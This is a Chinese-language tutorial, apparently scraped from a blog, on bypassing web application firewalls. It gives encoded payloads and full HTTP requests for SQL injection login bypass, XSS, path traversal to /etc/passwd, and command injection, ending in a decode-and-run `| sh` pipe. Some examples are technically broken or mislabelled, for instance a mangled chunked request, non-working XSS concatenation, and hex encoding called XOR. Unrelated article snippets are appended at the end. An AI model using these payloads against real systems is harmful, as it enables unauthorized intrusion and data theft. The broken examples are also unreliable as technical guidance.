Web打点与WAF绕过技术具体实例(接上一篇)包含SQL注入绕过WAF、XSS绕过WAF、文件包含漏洞、命令注入

embedded/2024/10/21 11:33:16/

为了更好地理解和应用上一篇的Web打点与WAF绕过技术,本篇将通过具体示例进行详细说明。每个示例将在前面介绍的技术基础上,展示如何在实际场景中操作。

示例一:SQL注入绕过WAF


场景描述
我们在一个登录页面发现SQL注入漏洞注入点在用户名字段上。原始Payload为:

sql">' OR 1=1 --


直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来进行注入

绕过方法与示例


1. URL编码

将Payload进行URL编码后发送,WAF可能无法识别编码后的恶意字符串。
sql">%27%20OR%201%3D1%20--


发送请求:

sql">GET /login?username=%27%20OR%201%3D1%20--&password=123 HTTP/1.1
Host: example.com

2. 使用注释符混淆

利用SQL注释符进行Payload混淆,使其变得难以识别。
sql">'/**/OR/**/1=1/**/--


发送请求:

sql">GET /login?username=%27/**/OR/**/1=1/**/--&password=123 HTTP/1.1
Host: example.com

3. 分块传输编码

利用HTTP 1.1的分块传输编码,将Payload分块发送。
sql">POST /login HTTP/1.1
Host: example.com
Transfer-Encoding: chunked0a
' OR 1=
0a
1 --
0


示例二:XSS绕过WAF


场景描述
在一个留言板页面,我们发现可以注入XSS Payload,原始Payload为:

<script>alert('XSS')</script>


直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来注入XSS。

绕过方法与示例


1. URL编码


将Payload进行URL编码后发送,WAF可能无法识别编码后的恶意字符串。

%3Cscript%3Ealert(%27XSS%27)%3C/script%3E


发送请求:

POST /comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencodedcomment=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E

2. 使用Unicode编码


将<script>转换为Unicode编码,使其绕过WAF检测。

%u003Cscript%u003Ealert('XSS')%u003C/script%u003E


发送请求:

POST /comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencodedcomment=%u003Cscript%u003Ealert('XSS')%u003C/script%u003E

3. DOM拼接

利用JavaScript的拼接功能,将恶意脚本分段注入

<img src="x" onerror="al"+"ert('XSS')">


发送请求:

POST /comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencodedcomment=<img src="x" onerror="al"+"ert('XSS')">


示例三:文件包含漏洞


场景描述
在一个文件下载功能中,我们发现可以通过文件包含漏洞读取服务器上的文件。原始Payload为:

download.php?file=../../../../etc/passwd


直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来读取文件。

绕过方法与示例


1. URL编码


将Payload进行URL编码后发送。

download.php?file=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd


发送请求:

GET /download.php?file=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1
Host: example.com

2. 使用Null字节(%00)


在文件路径末尾加入Null字节,绕过WAF的文件扩展名检查。

download.php?file=../../../../etc/passwd%00


发送请求:

GET /download.php?file=../../../../etc/passwd%00 HTTP/1.1
Host: example.com

3. 利用WAF的误判


有时WAF的规则可能存在误判漏洞,可以通过修改Payload的形式绕过检测。

download.php?file=....//....//....//....//etc/passwd


发送请求:

GET /download.php?file=....//....//....//....//etc/passwd HTTP/1.1
Host: example.com


示例四:命令注入


场景描述
在一个系统命令调用功能中,我们发现可以通过命令注入漏洞执行系统命令。原始Payload为:

; cat /etc/passwd


直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来执行命令。

绕过方法与示例


1. URL编码


将Payload进行URL编码后发送。

%3B%20cat%20%2Fetc%2Fpasswd


发送请求:


GET /execute?cmd=%3B%20cat%20%2Fetc%2Fpasswd HTTP/1.1
Host: example.com

2. 使用特殊符号


利用特殊符号绕过WAF检测。

; cat$IFS/etc/passwd


发送请求:

GET /execute?cmd=%3B%20cat$IFS/etc/passwd HTTP/1.1
Host: example.com

3. 使用异或编码


将命令进行异或编码后在服务器端解码执行。

echo "payload" | xxd -r -p | sh


发送请求:

GET /execute?cmd=echo%20"7061796c6f6164"%20%7C%20xxd%20-r%20-p%20%7C%20sh HTTP/1.1
Host: example.com


http://www.ppmy.cn/embedded/127473.html

相关文章

YOLOv5 Anchor 训练与预测时的区别,为什么推理的时候不需要输入 Anchor ,Detect头解析

1. 引言 在 YOLOv5 的实现中&#xff0c;Anchor 是一个重要的概念。它不仅影响着模型的训练过程&#xff0c;还在推理阶段对预测结果的解码有着重要作用。很多人可能会有疑问&#xff1a;为什么在 YOLOv5 的 Detect 类中使用 register_buffer(‘anchors’, …) 注册了 Anchors…

UE4 材质学习笔记10(程序化噪波/覆雪树干着色器/岩层着色器)

一.程序化噪波 柏林噪波是一种能生成很好的随机图案的算法&#xff0c;它是一个无限的、不重复的图案&#xff0c;可以采用这种基础图案并以多种方式对其进行修改&#xff0c; 将它缩放并进行多次组合&#xff0c;就可以创建一个分形图案。这些组合的缩放等级称为一个Octave 这…

做一只由 OpenCV 控制的仿生手

这个项目介绍了如何制作和控制一只仿生手。作者最初受到Instagram上一个视频的启发&#xff0c;该视频展示了使用MPU6050传感器追踪手部动作并在屏幕上显示3D模型。作者决定将这个想法进一步发展&#xff0c;使用OpenCV来控制一只真实的仿生手。 大家好&#xff0c;在这篇教程中…

关于查找轮廓cv2.findContours()函数运行过程中的问题之cv2.polylines()参数问题

# 查找轮廓 import cv2 import numpy as np img cv2.imread(5.png) cv2.imshow(1, img) gray cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) cv2.imshow(2, gray) ret, img1 cv2.threshold(gray, 125,255, cv2.THRESH_BINARY) # 查找轮廓 c, hierarchy, _ cv2.findContours(img1, …

Docker容器化部署MySQL主从集群(CentOS9+MySQL9)

准备 CentOS安装 可以虚拟机安装&#xff0c;目前最新版本CentOS9docker安装 yum install docker-ce &#xff08;或者 dnf install docker-ce CentOS9以后包管理工具使用dnf&#xff09;MySQL镜像拉取 docker pull mysql 1、 MySQL主从复制集群部署 1.1 主节点&#xff1a;…

「自动化测试」Selenium 的使用

使用 Selenium 需要先导入相关依赖 <dependency> <groupId>org.seleniumhq.selenium</groupId> <artifactId>selenium-java</artifactId> <version>4.0.0</version> </dependency><dependency><groupId>io.gith…

今日最佳WAF雷池社区版,tengine问题解决办法

很多第一次使用雷池社区版的朋友会碰到tengine相关的问题 其实官方文档都有记录怎么排除&#xff0c;这里都单独把tengine的排查方法再说一下 请检查防火墙规则&#xff0c; tengine 容器状态和日志 如果站点报错如上&#xff0c;说明tengine容器可能出现问题&#xff0c;需…

完整发布/上传uniapp Ios应用到App Store流程

使用uniapp打包&#xff0c;假如使用app store证书打包出来的ipa文件&#xff0c;需要上传到app store上才能上架。假如你还没有app store证书&#xff0c;还没有打包&#xff0c;你可以参考下面这篇文章&#xff0c;先创建打包证书再继续看这篇上架的教程&#xff1a;https://…